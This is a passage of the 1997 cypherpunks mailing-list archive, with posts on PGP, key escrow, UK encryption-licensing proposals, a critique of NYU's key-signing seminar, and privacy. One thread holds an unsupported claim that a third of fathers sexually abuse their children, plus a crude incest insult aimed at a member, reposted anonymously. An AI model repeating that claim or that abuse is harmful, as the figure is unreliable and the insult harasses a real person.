From danny58 at speedydelivery.net  Fri Mar 21 04:44:01 1997
From: danny58 at speedydelivery.net (danny58 at speedydelivery.net)
Date: Fri, 21 Mar 1997 04:44:01 -0800 (PST)
Subject: 5.9 CENT PER MINUTE
Message-ID: <199702170025.GAA08056@speedydelivery.net>



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From camcc at abraxis.com  Fri Mar 21 04:57:15 1997
From: camcc at abraxis.com (Alec)
Date: Fri, 21 Mar 1997 04:57:15 -0800 (PST)
Subject: encrypt_1.html
In-Reply-To: <TCPSMTP.17.3.21.4.49.56.2780269260.1579350@nycmetro.com>
Message-ID: <3.0.1.32.19970321075724.007b0100@smtp1.abraxis.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 04:02 AM 3/21/97 -0600, Toto wrote:

|  The fact that they are pushing key escrow must indicate that
|someone has developed a program that they can't crack and don't
|have a back-door to.
|  I wonder which one it is?
|-- 
|Toto

For God's sake, Toto, don't say PGP; you might wake up TruthMonger; nemesis
of remailers!

What BS; it's a profit thing.

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzKFriKJGkNBIH7lAQGFcAP/RLLcpAs6WTy4LuvrJimoKnrNFs0yRglK
XjTlYNDpP/4LpnEAtG1QQ3ms/8D8WywWpnWkW/GitzSiPm2A6YRVCsO3Q2fJRAn9
YUhzqWr1jUsU/yi8wP59ds1YSe9Gq5QAQAnKPiLW1A7C0IQ/jxtIqAvEld9qRF5z
Y4Sj7ocokpU=
=oD/P
-----END PGP SIGNATURE-----






From camcc at abraxis.com  Fri Mar 21 05:01:02 1997
From: camcc at abraxis.com (Alec)
Date: Fri, 21 Mar 1997 05:01:02 -0800 (PST)
Subject: PGP on AOL
In-Reply-To: <199703211059.FAA03579@linux.nycmetro.com>
Message-ID: <3.0.1.32.19970321080114.007c91b0@smtp1.abraxis.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 05:59 AM 3/21/97 -0500, you wrote:
|I want to help a friend of mine to set up PGP. She's using Win 95 and 
|is on AOL. Can anybody recommend some good shells, that would make 
|make it easier for her?
|

AEgisShell

http://www.aegisrc.com/Products/Shell/index.htm
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzKGlyKJGkNBIH7lAQEaZQP9HbzkBRG9W+QZCBhEroFoY3aqNLs62O+2
RNrdiXInChq+hSUAijvHcR09bHutUeqb0a8SeQysXkAP/CIgvQlLM5k1CKhTKDjA
h/bW768wV1Tv18y51v24hgGKYIrE0smfLLfrAeBcav37arucoDaxv+qgR6hQ71dc
owmZhnZjABg=
=KjhV
-----END PGP SIGNATURE-----






From nobody at huge.cajones.com  Fri Mar 21 05:08:05 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 21 Mar 1997 05:08:05 -0800 (PST)
Subject: ADV Weekly Transcripts
Message-ID: <199703211308.FAA00757@mailmasher.com>


Regarding 1968 view of population control:

_Stand on Zanzibar_ John Brunner

Thanks





From snow at smoke.suba.com  Fri Mar 21 05:24:25 1997
From: snow at smoke.suba.com (snow)
Date: Fri, 21 Mar 1997 05:24:25 -0800 (PST)
Subject: PGP on AOL
In-Reply-To: <199703211059.FAA03579@linux.nycmetro.com>
Message-ID: <199703211346.HAA01550@smoke.suba.com>


> Hi there,
> I want to help a friend of mine to set up PGP. She's using Win 95 and
> is on AOL. Can anybody recommend some good shells, that would make
> make it easier for her?

	Remington .20 Gauge. Use the finest shot you can find, it tends to 
penetrate walls less.

	Good luck.






From toto at sk.sympatico.ca  Fri Mar 21 05:32:05 1997
From: toto at sk.sympatico.ca (Toto)
Date: Fri, 21 Mar 1997 05:32:05 -0800 (PST)
Subject: PGP on AOL
In-Reply-To: <199703211346.HAA01550@smoke.suba.com>
Message-ID: <33328E33.711@sk.sympatico.ca>


"The Complete Guide To Win95", by snow

Chapter 1
---------
 Remington .20 Gauge. 

Chapter 2
---------
 Use the finest shot you can find, it tends to penetrate walls less.

  The End


snow,
  Great book. I read it in one sitting.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From camcc at abraxis.com  Fri Mar 21 05:33:58 1997
From: camcc at abraxis.com (Alec)
Date: Fri, 21 Mar 1997 05:33:58 -0800 (PST)
Subject: Jackboots in Canada
Message-ID: <3.0.1.32.19970321083409.007cfe80@smtp1.abraxis.com>


-----BEGIN PGP SIGNED MESSAGE-----

AP 3/21/97

Quebec

Spurred by a new outbreak of bombings, the Canadian government agreed
Thursday to toughen laws to help Quebec stamp out a war between motorcycle
gangs that has killed more than 30 people.

[snip]

...Hell's Angels and Rock Machine...have been battling for control of the
illegal drug trade in Canada.

Canadian justice minister, Allan Rock, said the measures would include
broadening laws on search warrants, electronic eavesdropping and bail
conditions for arrested gang members.  
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzKOOiKJGkNBIH7lAQHrAwP+P/0YSzXsLKlLe5YAzOVC0QB31uNhmvim
HsSdPbulXccXCV0WIeG5uCtzCLXliR759KunfxEs2GithcIpfcDDKa4SFJv9+SVi
PqmWXAxs+qNQ/uQqsDo97zuk+tNhO0631XRkh1LS+tL9Q6pCJfSpNl3Ntvhtyafv
OD01c5tLwts=
=AqwJ
-----END PGP SIGNATURE-----






From jya at pipeline.com  Fri Mar 21 05:50:00 1997
From: jya at pipeline.com (John Young)
Date: Fri, 21 Mar 1997 05:50:00 -0800 (PST)
Subject: BXA on Crypto Plans
Message-ID: <1.5.4.32.19970321134222.00740c04@pop.pipeline.com>


Excerpt of BXA head William Reinsch statement on Goodlatte's
SAFEncryption Bill HR 695 on March 20, 1997:

The Administration has stated on numerous occasions that we 
do not support mandatory key escrow and key recovery. Our 
objective is to enable the development and establishment of 
a voluntary key management system for public-key based 
encryption. We believe the Administration's policy is 
succeeding in bringing key recovery products to the 
marketplace. Our attention is now turning toward how we can 
best facilitate the development of the key management 
infrastructure that will support those products. To that end, 
we will shortly submit legislation intended to do the following:

  Expressly confirm the freedom of domestic users to choose any 
  type or strength of encryption.

  Explicitly state that participation in the key management 
  infrastructure is voluntary.

  Set forth legal conditions for the release of recovery 
  information to law enforcement officials pursuant to lawful 
  authority and provides liability protection for key recovery 
  agents who have properly released such information.

  Criminalizes the misuse of keys and the use of encryption to 
  further a crime.

  Offers, on a voluntary basis, firms that are in the business 
  of providing public cryptography keys the opportunity to 
  obtain government recognition, allowing them to market the 
  trustworthiness implied by government approval.

----------

Full statement: http://jya.com/bxahr695.htm






From bryce at digicash.com  Fri Mar 21 05:51:26 1997
From: bryce at digicash.com (Bryce)
Date: Fri, 21 Mar 1997 05:51:26 -0800 (PST)
Subject: [alt.best.of.cypherpunks]
Message-ID: <199703211351.OAA28208@digicash.com>



-----BEGIN PGP SIGNED MESSAGE-----

Thanks for the laugh.


- ------- Forwarded Message

From: snow <snow at smoke.suba.com>
Subject: Re: PGP on AOL
To: harka at nycmetro.com
Date: Fri, 21 Mar 1997 07:46:08 -0600 (CST)
Cc: cypherpunks at toad.com

> Hi there,
> I want to help a friend of mine to set up PGP. She's using Win 95 and
> is on AOL. Can anybody recommend some good shells, that would make
> make it easier for her?

	Remington .20 Gauge. Use the finest shot you can find, it tends to 
penetrate walls less.

	Good luck.


- ------- End of Forwarded Message


Zooko

PGP sig follows



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2i
Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2

iQB1AwUBMzKSYUjbHy8sKZitAQHrUgL/TC6JSEVU8QZq00WGt0Yp76AT9pPdgog0
3IUpFE17b+QPz9Lwn1FprL6oaSnAZgz7qnuGj+nel3VNd1R/Tjfa/5qnFiDj++q7
a1+ScrPkfZKQy9DaL9VCavqvTZNoyur0
=7yuN
-----END PGP SIGNATURE-----





From kent at songbird.com  Fri Mar 21 07:34:35 1997
From: kent at songbird.com (Kent Crispin)
Date: Fri, 21 Mar 1997 07:34:35 -0800 (PST)
Subject: FINALLY, "SOME" TRUTH Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703202037.NAA03455@infowest.com>
Message-ID: <19970321073228.41794@bywater.songbird.com>


On Fri, Mar 21, 1997 at 03:06:41AM -0600, Toto wrote:
> Attila T. Hun wrote, in blood:
[...]
> > 
> >     you got that one right!
> >     just the ability to _backtrack_ into the algorithms is a start.
> >     One piece of clear text and you're toast.
> 
>   You can't tell me the guy who designed the Rubik cube didn't know
> how to 'beat' it when he was done.

With all due respect, Toto, this is not a valid point.  It is easy 
for someone to design and implement something they can't beat.

Whether PKZ designed in, or was coerced into installing, a backdoor 
into PGP is an interesting speculation, but immaterial.  The only 
real data you have is the code itself.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com,kc at llnl.gov		the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From jya at pipeline.com  Fri Mar 21 07:47:35 1997
From: jya at pipeline.com (John Young)
Date: Fri, 21 Mar 1997 07:47:35 -0800 (PST)
Subject: UK TTP Paper
Message-ID: <1.5.4.32.19970321153958.006cc3f4@pop.pipeline.com>


Forward from Cyberia-L:

Making absolutely no comment on the subject of licensing of certification
authorities, you may be interested in a UK paper entitled LICENSING OF
TRUSTED THIRD PARTIES FOR THE PROVISION OF ENCRYPTION SERVICES - Public
Consultation Paper on Detailed Proposals for 
Legislation, March 1997.

You can obtain a full document at http://www.dti.gov.uk/pubs.

E. Michael Power
Coordonnateur
Secr�tariat au commerce �lectronique
Minist�re de la Justice Canada

----------

This paper links to David Herson, the reputed GCHQ spy who 
admitted the EU/FBI wiretap pact:

Information on any of the current TTP projects can be obtained from 
David Herson (DG XIII/7) at the European Commission (e-mail
david.herson at bxl.dg13.cec.be) or from the Commission Web site at
www.cordis.lu/infosec/






From toto at sk.sympatico.ca  Fri Mar 21 07:56:42 1997
From: toto at sk.sympatico.ca (Toto)
Date: Fri, 21 Mar 1997 07:56:42 -0800 (PST)
Subject: FINALLY, "SOME" TRUTH Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703202037.NAA03455@infowest.com>
Message-ID: <3332B008.58E5@sk.sympatico.ca>


Kent Crispin wrote:
>
> On Fri, Mar 21, 1997 at 03:06:41AM -0600, Toto wrote:
> > Attila T. Hun wrote, in blood:
> [...]
> > >
> > >     you got that one right!
> > >     just the ability to _backtrack_ into the algorithms is a art.
> > >     One piece of clear text and you're toast. 

> >   You can't tell me the guy who designed the Rubik cube didn't know
> > how to 'beat' it when he was done.

> With all due respect, Toto, this is not a valid point.  It is easy
> for someone to design and implement something they can't beat.

> Whether PKZ designed in, or was coerced into installing, a backdoor
> into PGP is an interesting speculation, but immaterial.  The only
> real data you have is the code itself.

  I wasn't referring to either PKZ or PGP, but to 'systems', in
general.
  In designing systems of any type, one can often have elements of
design which aren't in the blueprint. An example would be an architect
who designs a room to echo (or not echo) sound in a certain way, for
use as a concert hall or music studio.
  No amount of analysis of the blueprints will show this 'hidden' design
unless the person looking is thinking in the same terms as the designer.
  Certainly, if the blueprints described the room as a 'sound room',
then this might give some a clue as to the hidden elements, but still
would not inherently reveal every aspect of what was involved in the
design.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From bubba at dev.null  Fri Mar 21 08:40:15 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Fri, 21 Mar 1997 08:40:15 -0800 (PST)
Subject: WebWorld 9
Message-ID: <3332BA01.114@dev.null>

A non-text attachment was scrubbed...
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Type: text/html
Size: 14689 bytes
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From paul at fatmans.demon.co.uk  Fri Mar 21 10:08:36 1997
From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk)
Date: Fri, 21 Mar 1997 10:08:36 -0800 (PST)
Subject: encrypt_1.html
Message-ID: <858966059.116256.0@fatmans.demon.co.uk>



> |  The fact that they are pushing key escrow must indicate that
> |someone has developed a program that they can't crack and don't
> |have a back-door to.
> |  I wonder which one it is?

This ignores the basic law of conpiracy theorism: Suspect everyone 
and everything.

I believe the current push to establish key escrow systems, which 
will inevitably lead to enforced domestic GAK in a number of 
countries is possibly a double cross. 

If mandatory GAK is introduced who will be the most likely to ignore 
the legislation and continue using non-GAK crypto? - The anarchists 
and other "terrorist" groups of course. This would seem to suggest 
the govt. is trying to lull these groups into a false sense of 
security believing their non-GAK crypto to be strong. This would in 
turn seem to suggest that the NSA, GCCS etc. have broken a number of 
currently used algorithms that are believed strong by the civilian 
research community.

At the end of the day though this is pure speculation and the spectre 
of GAK still looms over us and must be defeated, however, as 
conspiracy theories go I happen to think it is one of my more 
believable delusions....



  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From dlv at bwalk.dm.com  Fri Mar 21 13:42:27 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 21 Mar 1997 13:42:27 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <33322FCF.39DD@sk.sympatico.ca>
Message-ID: <B5LX4D3w165w@bwalk.dm.com>


Toto <toto at sk.sympatico.ca> writes:

> Dale Thorn wrote:
> 
> > > Really? Define _common_. I have lived in the Mid West for about 85% of
> > > my life, and I know no one who learned these things from their parents.
> > 
> > C'mon guys.  Parents diddling with their kids is more than common -
> > probably 1/3 of all fathers do something sexual with one or more
> > of their children at some point.  People just suppress it.
> 
>   I can't believe it could be that common without the government
> finding a way to 'tax' it.

Def: relative humidity - the sweat on snow's balls as he fucks his sister.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From nobody at huge.cajones.com  Fri Mar 21 14:04:17 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 21 Mar 1997 14:04:17 -0800 (PST)
Subject: No Subject
Message-ID: <199703212204.OAA18301@mailmasher.com>


                          BELIEVE the Children!

Toto <toto at sk.sympatico.ca> writes:

> Dale Thorn wrote:
> 
> > > Really? Define _common_. I have lived in the Mid West for about 85% of
> > > my life, and I know no one who learned these things from their parents.
> > 
> > C'mon guys.  Parents diddling with their kids is more than common -
> > probably 1/3 of all fathers do something sexual with one or more
> > of their children at some point.  People just suppress it.
> 
>   I can't believe it could be that common without the government
> finding a way to 'tax' it.

Def: relative humidity - the sweat on snow's balls as he fucks his sister.

                          BELIEVE the Children!






From Progress at utkform.com  Fri Mar 21 14:14:17 1997
From: Progress at utkform.com (Progress at utkform.com)
Date: Fri, 21 Mar 1997 14:14:17 -0800 (PST)
Subject: Explosion...
Message-ID: <199703212210.RAA19072@mailhost.IntNet.net>


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---------------------------------------------------------------------------------------------------------
||   Do Not Hit Reply.  If you want more info, send an email
||   to: explosion1 at juno.com     with 'explosion' in the subject.
||                    This is a one time email.                              
---------------------------------------------------------------------------------------------------------






From sergey at el.net  Fri Mar 21 14:24:59 1997
From: sergey at el.net (Sergey Goldgaber)
Date: Fri, 21 Mar 1997 14:24:59 -0800 (PST)
Subject: NYU's PGP Key-Signing Seminar - a critique
Message-ID: <Pine.LNX.3.95.970321162457.147D-300000@void.el.net>

I am writing regarding the PGP Seminar to be held on the 27th of March.
Your informative session is laudible.  And, I would like to take full
advantage of the key-signing session to follow.  However, there is a
certain concern which it would be prudent to address first.

http://www.nyu.edu/pages/advocacy/awareness/pgp.html provides instructions
for the session, which state:

   "8. At the seminar Tim and Ilya will confirm the identity of all
       participants and the participants will identify their own keys.
    9. After the seminar Ilya will e-mail all the participants the
       keyring with all the keys, along with the instructions on how
       to sign them."

This conflicts with the guidelines for hosting pgp key signing sessions
as presented in the alt.security.pgp FAQ (a relevant excerpt is attached 
to this message).  The FAQ states:

   "6.  Each person securely obtains their own fingerprint, and after
       being vouched for, they then read out their fingerprint out
       loud so everyone can verify it on the printout they have."
               ~~~~~~~~

The concern I have is that this discrepancy undermines the web of trust
model for PGP.  The participants of the NYU session will not have the
opportunity for verifying the identity of the owners of the keys that
they are signing.  They must rely on a central authority ("Tim and Ilya").

I realize that this may be a simpler, and perhaps a more convenient method
of conducting a key-signing session, perhaps ideally suited to a session
aimed at novices.  However, I feel that the security provided by PGP is
thereby undermined.  We must not forget that security is the whole reason 
that even the novices at your session are using PGP for in the first place.

I hope this issue can be addressed before the session begins.


 ............................................................................
 . Sergey Goldgaber <sergey at el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................


   6.8.  How do I organize a key signing party?

   Though the idea is simple, actually doing it is a bit complex,
   because you don't want to compromise other people's private keys or
   spread viruses (which is a risk whenever floppies are swapped
   willy-nilly).  Usually, these parties involve meeting everyone at
   the party, verifying their identity and getting key fingerprints
   from them, and signing their key at home.

   Derek Atkins <warlord at mit.edu> has recommended this method: 
     _________________________________________________________________

   There are many ways to hold a key-signing session.  Many viable
   suggestions have been given.  And, just to add more signal to this
   newsgroup, I will suggest another one which seems to work very well
   and also solves the N-squared problem of distributing and signing
   keys.  Here is the process:
    1.  You announce the keysinging session, and ask everyone who
       plans to come to send you (or some single person who *will* be
       there) their public key.  The RSVP also allows for a count of
       the number of people for step 3.
    2.  You compile the public keys into a single keyring, run "pgp
       -kvc" on that keyring, and save the output to a file.
    3.  Print out N copies of the "pgp -kvc" file onto hardcopy, and
       bring this and the keyring on media to the meeting.
    4.  At the meeting, distribute the printouts, and provide a site
       to retreive the keyring (an ftp site works, or you can make
       floppy copies, or whatever -- it doesn't matter).
    5.  When you are all in the room, each person stands up, and
       people vouch for this person (e.g., "Yes, this really is Derek
       Atkins -- I went to school with him for 6 years, and lived with
       him for 2").
    6.  Each person securely obtains their own fingerprint, and after
       being vouched for, they then read out their fingerprint out
       loud so everyone can verify it on the printout they have.
    7.  After everyone finishes this protocol, they can go home,
       obtain the keyring, run "pgp -kvc" on it themselves, and
       re-verify the bits, and sign the keys at their own leisure.
    8.  To save load on the keyservers, you can optionally send all
       signatures to the original person, who can coalate them again
       into a single keyring and propagate that single keyring to the
       keyservers and to each individual.

   This seems to work well -- it worked well at the IETF meeting last
   month in Toronto, and I plan to try it at future dates.


http://www.nyu.edu/pages/advocacy/awareness/pgp.html


                          Awareness Week 1997

                      Pretty Good Privacy Seminar

                 Thursday, March 27 at 12:00 pm Warren
                         Weaver Hall, Room 313

   [INLINE] This is a Blue-Ribbon event, CANYU will distribute Blue
   Ribbons to participants

   This seminar sponsored by the Computer Advocacy @ NYU and the
   Academic Computing Facility.  The seminar will explore the need for
   use of cryptography for communications in every day life, and
   demonstrate how PGP (Pretty Good Privacy) can be used at NYU.

   This workshop is a part was preceded by another seminar titled
   "Encryption:  Padlocks for the digital age".

   Speakers:  * Tim O'Connor * Ilya Slavin

   A key signing session will follow the seminar.  The instructions
   follow:  
    1.  If you have already created your key, skip to the
    following step.  + You can create your new key on one of the IS
    machines (and, most likely, many other computers at NYU) by
    following the steps outlined in the following document.  
    2.  Once your key is generated and signed by yourself, extract
    your public key from the key ring by typing pgp -kxat userid
    keyfile.asc where keyfile.asc is a name of the file you want to
    copy your key to. 
    3.  Send this file with your name and a mention of the seminar to
    slavin at acf2.nyu.edu before 7:00 PM on March 26, 1997.  
    4.  Ilya will compile a master keyring with all the keys before
    the seminar starts. 
    5.  Please write down (or print out) the output of the following
    command:  pgp -kvc where <userid> is your name or e-mail address
    that appears in your key. 
    6.  Ilya will have printouts of userids and fingerprints of all
    keys sent to him. 
    7.  Bring two photo IDs (either a passport or other respectable
    form of ID) to the seminar so that we can verify your identity. 
    8.  At the seminar Tim and Ilya will confirm the identity of all
    participants and the participants will identify their own keys. 
    9.  After the seminar Ilya will e-mail all the participants the
    keyring with all the keys, along with the instructions on how to
    sign them. 
    10.  Once the keys are signed, the participants will e-mail their
    signed keyrings to Ilya, who will add their signatures to the
    master keyring.  11.  As soon as Ilya receives all the signed
    keys, he will e-mail the complete keyring to all the participants,
    who can add the new signatures to their own keyrings.

     
______________________________________________________________________


    Computer Awareness Week '97 / Ilya Slavin / Last Modified:  3/6/97




From aba at dcs.ex.ac.uk  Fri Mar 21 14:28:03 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 21 Mar 1997 14:28:03 -0800 (PST)
Subject: UK govt. to ban PGP (was Re: UK TTP Paper)
In-Reply-To: <1.5.4.32.19970321153958.006cc3f4@pop.pipeline.com>
Message-ID: <199703212221.WAA00388@server.test.net>



John Young <jya at pipeline.com> forwards from Cyberia-L:
: 
: Making absolutely no comment on the subject of licensing of certification
: authorities, you may be interested in a UK paper entitled LICENSING OF
: TRUSTED THIRD PARTIES FOR THE PROVISION OF ENCRYPTION SERVICES - Public
: Consultation Paper on Detailed Proposals for=20
: Legislation, March 1997.
: 
: You can obtain a full document at http://www.dti.gov.uk/pubs.

Ross Anderson <rja14 at cl.cam.ac.uk> posted his interpretation of this
to sci.crypt, alt.security.pgp, alt.security today, which I think
cypherpunks might find eye opening, I'm off to read the doc myself
now.

: From: rja14 at cl.cam.ac.uk (Ross Anderson)
: Newsgroups: alt.security.pgp,alt.security,sci.crypt
: Subject: UK Government to ban PGP - now official!
: Date: 21 Mar 1997 10:07:22 GMT
: Message-ID: <5gtmkq$7ns at lyra.csx.cam.ac.uk>
: 
: 
: The British government's Department of Trade and Industry has sneaked 
: out proposals on licensing encryption services. Their effect will be to 
: ban PGP and much more besides.
: 
: I have put a copy on http://www.cl.cam.ac.uk/users/rja14/dti.html as
: their own web server appears to be conveniently down.
: 
: Licensing will be mandatory:
: 
:       We intend that it will be a criminal offence for a body to offer 
:       or provide licensable encryption services to the UK public without 
:       a valid licence
: 
: The scope of licensing is broad:
: 
:       Public will be defined to cover any natural or legal person in the UK.
: 
:       Encryption services is meant to encompass any service, whether provided 
:       free or not, which involves any or all of the following cryptographic 
:       functionality - key management, key recovery, key certification, key 
:       storage, message integrity (through the use of digital signatures) key 
:       generation, time stamping, or key revocation services (whether for
:       integrity or confidentiality), which are offered in a manner which 
:       allows a client to determine a choice of cryptographic key or allows 
:       the client a choice of recipient/s.
: 
: Total official discretion is retained:
: 
:       The legislation will provide that bodies wishing to offer or provide 
:       encryption services to the public in the UK will be required to 
:       obtain a licence. The legislation will give the Secretary of State 
:       discretion to determine appropriate licence conditions. 
: 
: The licence conditions imply that only large organisations will be able to 
: get licences: small organisations will have to use large ones to manage 
: their keys (this was the policy outlined last June by a DTI spokesman).
: The main licence condition is of course that keys must be escrowed, and
: delivered on demand to a central repository within one hour. The mere
: delivery of decrypted plaintext is not acceptable except perhaps from 
: TTPs overseas under international agreements.
: 
: The effect of all this appears to be:
: 
: 1.    PGP servers will be outlawed; it will be an offence for me to sign 
:       your pgp key, for you to sign mine, and for anybody to put my 
:       existing signed PGP key in a foreign (unlicensed) directory
: 
: 2.    Countries that won't escrow, such as Holland and Denmark, will be
:       cut out of the Superhighway economy. You won't even be able to
:       send signed medical records back and forth (let alone encrypted
:       ones)
: 
: 3.    You can forget about building distributed secure systems, as even
:       relatively primitive products such as Kerberos would need to have
:       their keys managed by a licensed TTP. This is clearly impractical.
:       (The paper does say that purely intra-company key management is 
: OK
:       but licensing is required whenever there is any interaction with
:       the outside world, which presumably catches systems with mail, web 
:       or whatever)
: 
: There are let-outs for banks and Rupert Murdoch:
: 
:       Encryption services as an integral part of another service (such as in 
:       the scrambling of pay TV programmes or the authentication of credit 
:       cards) are also excluded from this legislation. 
: 
: However, there are no let-outs for services providing only authenticity and
: nonrepudiation (as opposed to confidentiality) services. This is a point that
: has been raised repeatedly by doctors, lawyers and others - giving a police
: officer the power to inspect my medical records might just conceivably help
: him build a case against me, but giving him the power to forge prescriptions
: and legal contracts appears a recipe for disaster. The scope for fraud and
: corruption will be immense.
: 
: Yet the government continues to insist on control of, and access to, signing 
: keys as well as decryption keys. This shows that the real concern is not
: really law enforcement at all, but national intelligence.
: 
: Finally, there's an opportunity to write in and protest:
: 
:       The Government invites comments on this paper until 30 May 1997 
: 
: 
: Though if the recent `consultation' about the recent `government.direct'
: programme is anything to go by, negative comments will simply be ignored.
: 
: Meanwhile, GCHQ is pressing ahead with the implementation of an escrow
: protocol (see http://www.cs.berkeley.edu/~daw/GCHQ/casm.htm) that is broken
: (see http://www.cl.cam.ac.uk/ftp/users/rja14/euroclipper.ps.gz).
: 
: In Grey's words, ``All over Europe, the lights are going out''
: 
: Ross

Adam

-- 
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From ericm at lne.com  Fri Mar 21 14:29:03 1997
From: ericm at lne.com (Eric Murray)
Date: Fri, 21 Mar 1997 14:29:03 -0800 (PST)
Subject: Jackboots in Canada
In-Reply-To: <3.0.1.32.19970321083409.007cfe80@smtp1.abraxis.com>
Message-ID: <199703212230.OAA29364@slack.lne.com>


owner-cypherpunks at sirius.infonex.com writes:
> AP 3/21/97
> 
> Quebec
> 
> Spurred by a new outbreak of bombings, the Canadian government agreed
> Thursday to toughen laws to help Quebec stamp out a war between motorcycle
> gangs that has killed more than 30 people.
> 
> [snip]
> 
> ...Hell's Angels and Rock Machine...have been battling for control of the
> illegal drug trade in Canada.
> 
> Canadian justice minister, Allan Rock, said the measures would include
> broadening laws on search warrants, electronic eavesdropping and bail
> conditions for arrested gang members.


The alternative, proposed by some goverment person (governor?) in Quebec, was
to suspend "individual liberties" for bikers, making it possible to
pull one over at any time, search them, and if explosives are found
assume they're guilty until proven innocent. 

That last part just floored me, how could anyone be willing to throw
away rights like that?  At least here in the US they're not so
obvious about it- the cash (or cars or computers) are seized and
presumed guilty until proven innocent, and of course you can't mount a
defense if everything you own is seized and your bank accounts frozen, but
you're still presumed innocent.  It was that evil CASH that did it.

-- 
   Eric Murray  ericm at lne.com  Network security and encryption consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From jya at pipeline.com  Fri Mar 21 15:55:19 1997
From: jya at pipeline.com (John Young)
Date: Fri, 21 Mar 1997 15:55:19 -0800 (PST)
Subject: UK govt. to ban PGP (was Re: UK TTP Paper)
Message-ID: <1.5.4.32.19970321234615.008459a8@pop.pipeline.com>


>: In Grey's words, ``All over Europe, the lights are going out''
>: 
>: Ross

There does appear to be a coordinated global action to issue 
policies on TTP, GAK and the like at this time. OECD is due to 
shortly release its crypto policy, as is the USG according to BXA.
The FBI issued its wiretap payment plan yesterday. Herson
publically admitted the EU-FBI wiretap pact.

All are apparently guided by The Wassenaar Arrangement amongst
two dozen or so countries to act in concert, and to go public with
dual-use controls in unison.

So, Clint Brooks' comment at CFP about a new policy coming out
for stronger crypto is a surely a harbinger of global GAK, in the
guise of TTP or Key Recovery, as was speculated here, and as
Rensch's statement to the House yesterday affirms.

It's a policy sure to appeal to nationalists and chauvinists: strong 
protection for a nation's interest and commerce with GAK; without
it no protection from predatory (rogue) nations (and criminals). 

But, as the Crypto AG engineer asked, "Who will protect us from NSA?"
And its predatory clients and contractors, the Germans and French and
others are asking, now that they are suffering the unilateral spying
of their highest tech "friends."







From tcmay at got.net  Fri Mar 21 16:23:22 1997
From: tcmay at got.net (Timothy C. May)
Date: Fri, 21 Mar 1997 16:23:22 -0800 (PST)
Subject: Jackboots in Canada
In-Reply-To: <3.0.1.32.19970321083409.007cfe80@smtp1.abraxis.com>
Message-ID: <v03007800af58d81fe7b6@[207.167.93.63]>


At 2:30 PM -0800 3/21/97, Eric Murray wrote:

>That last part just floored me, how could anyone be willing to throw
>away rights like that?  At least here in the US they're not so
>obvious about it- the cash (or cars or computers) are seized and
>presumed guilty until proven innocent, and of course you can't mount a
>defense if everything you own is seized and your bank accounts frozen, but
>you're still presumed innocent.  It was that evil CASH that did it.

Well, combine this revocation of rights in Canada with today's report that
Britain plans to license crypto, and with the discussion a few weeks ago
about how Anguilla and similar countries lack formal constitutions, etc.,
and one can see what is going on: most countries are "ad hocracies," making
up rules as they go along.

For all its many faults, the United States has a strong constitution and
laws are often thrown out completely because they conflict with the U.S.
Constitution.

The danger I see is that the U.S. is moving closer every day to becoming
another ad hocracy, with the regulatory and administrative powers of the
government ever more stifling and controlling.

(By the way, on the "licensing of crypto," the U.S. is about to cause
Europe to do to itself what the U.S. is essentially unable to do within the
U.S., namely, force central control of cryptography, ban rogue use, and
basically criminalize any unauthorized use. David Aaron and Louis Freeh and
the rest of the OECD/Wasenaar/NSA cabal have done their jobs well.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From weidai at eskimo.com  Fri Mar 21 17:13:00 1997
From: weidai at eskimo.com (Wei Dai)
Date: Fri, 21 Mar 1997 17:13:00 -0800 (PST)
Subject: "why privacy" revisited
Message-ID: <Pine.SUN.3.96.970321170658.21129B-100000@eskimo.com>


The question "why privacy" has at least two different meanings.  The first
one, "why do you value privacy for yourself" has a fairly obvious answer.
Privacy implies control over one's personal information, and more control
is clearly preferable to less.  But the question also has a second
meaning, "why do you think everyone should have more privacy?"  The answer
to this question is not so obvious.  Just because each individual wants
